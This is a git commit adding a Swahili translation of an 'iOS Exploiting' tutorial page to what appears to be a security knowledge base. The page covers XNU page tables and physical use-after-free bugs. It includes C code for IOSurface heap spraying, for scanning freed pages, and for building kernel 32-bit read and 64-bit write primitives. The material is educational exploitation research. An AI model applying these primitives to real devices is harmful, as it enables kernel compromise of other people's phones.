Translated ['binary-exploitation/ios-exploiting.md'] to sw

This commit is contained in:
Translator 2024-11-05 18:40:20 +00:00
parent 85f3fb1981
commit 878c296107
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Physical use-after-free
Hii ni muhtasari kutoka kwenye chapisho la [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit inayotumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Anwani ya nafasi ya kumbukumbu ya virtual** kwa michakato ya mtumiaji kwenye iOS inapanuka kutoka **0x0 hadi 0x8000000000**. Hata hivyo, anwani hizi hazihusiani moja kwa moja na kumbukumbu halisi. Badala yake, **kernel** inatumia **meza za kurasa** kutafsiri anwani za virtual kuwa anwani halisi **za kimwili**.
#### Levels of Page Tables in iOS
Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
1. **L1 Page Table (Ngazi ya 1)**:
* Kila kipengee hapa kinawakilisha anuwai kubwa ya kumbukumbu ya virtual.
* Inashughulikia **0x1000000000 bytes** (au **256 GB**) ya kumbukumbu ya virtual.
2. **L2 Page Table (Ngazi ya 2)**:
* Kipengee hapa kinawakilisha eneo dogo la kumbukumbu ya virtual, haswa **0x2000000 bytes** (32 MB).
* Kipengee cha L1 kinaweza kuelekeza kwenye meza ya L2 ikiwa hakiwezi kuunganisha eneo lote lenyewe.
3. **L3 Page Table (Ngazi ya 3)**:
* Hii ni ngazi ya chini zaidi, ambapo kila kipengee kinaunganisha **4 KB** ya kurasa za kumbukumbu.
* Kipengee cha L2 kinaweza kuelekeza kwenye meza ya L3 ikiwa udhibiti wa kina unahitajika.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani za kimwili (kama njia fupi).
* **Pointer to Child Page Table**:
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
#### Example: Mapping a Virtual Address
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
1. **L1 Table**:
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
2. **L2 Table**:
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
3. **L3 Table**:
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani ya kimwili** ya kurasa halisi za kumbukumbu.
#### Example of Address Mapping
Ikiwa unaandika anwani ya kimwili **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani za kimwili kutoka **0x800004000** hadi **0x802004000**.
* Hii ni **block mapping** katika ngazi ya L2.
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
### Physical use-after-free
**Physical use-after-free** (UAF) hutokea wakati:
1. Mchakato **unapotoa** kumbukumbu fulani kama **inasomeka na kuandikwa**.
2. **Meza za kurasa** zinapaswa kusasishwa ili kuunganisha kumbukumbu hii na anwani halisi maalum ambayo mchakato unaweza kufikia.
3. Mchakato **unafuta** (huru) kumbukumbu hiyo.
4. Hata hivyo, kutokana na **hitilafu**, kernel **inasahau kuondoa uhusiano** kutoka kwenye meza za kurasa, ingawa inakadiria kumbukumbu halisi inayohusiana kama huru.
5. Kernel inaweza kisha **kutoa tena kumbukumbu hii "iliyohifadhiwa"** kwa madhumuni mengine, kama **data za kernel**.
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu hii halisi.
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu za kernel**, ambazo zinaweza kuwa na data nyeti au muundo, na hivyo kumwezesha mshambuliaji **kudhibiti kumbukumbu ya kernel**.
### Exploitation Strategy: Heap Spray
Kwa kuwa mshambuliaji hawezi kudhibiti ni kurasa zipi maalum za kernel zitakazotolewa kwa kumbukumbu iliyohifadhiwa, wanatumia mbinu inayoitwa **heap spray**:
1. Mshambuliaji **anaunda idadi kubwa ya vitu vya IOSurface** katika kumbukumbu ya kernel.
2. Kila kitu cha IOSurface kina **thamani ya kichawi** katika moja ya maeneo yake, ikifanya iwe rahisi kutambua.
3. Wanachunguza **kurasa zilizohifadhiwa** kuona ikiwa yoyote ya vitu hivi imeanguka kwenye ukurasa uliohifadhiwa.
4. Wanapokutana na kitu cha IOSurface kwenye ukurasa uliohifadhiwa, wanaweza kukitumia **kusoma na kuandika kumbukumbu ya kernel**.
Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
3. **Read/Write Kernel Memory**: Kwa kudhibiti maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mipaka** katika kumbukumbu ya kernel. Hii inawaruhusu:
* Kutumia eneo moja **kusoma thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **primitive thabiti ya kusoma/kuandika kernel**.
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Kufikia Kernel Read/Write na IOSurface
Baada ya kupata udhibiti wa kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
**Sehemu Muhimu katika IOSurface**
Kitu cha IOSurface kina sehemu mbili muhimu:
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma 32-bit**.
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika 64-bit**.
Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika kumbukumbu ya kernel, na kuwezesha uwezo wa kusoma/kuandika.
#### Kernel Read ya 32-Bit
Ili kufanya kusoma:
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya 0x14-byte.
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Ili kufanya andiko:
1. Badilisha **kiashiria cha muda kilichoorodheshwa** kwa anwani lengwa.
2. Tumia njia ya `set_indexed_timestamp` kuandika thamani ya 64-bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Muhtasari wa Mchakato wa Ulaghai
1. **Chochea Matumizi ya Kimwili Baada ya Kuachiliwa**: Kurasa zilizofutwa zinapatikana kwa matumizi tena.
2. **Piga Mambo ya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya uchawi" ya kipekee katika kumbukumbu ya kernel.
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa njia isiyo na mipaka kupitia mbinu za IOSurface.
Kwa kutumia hizi primitives, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha primitives za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).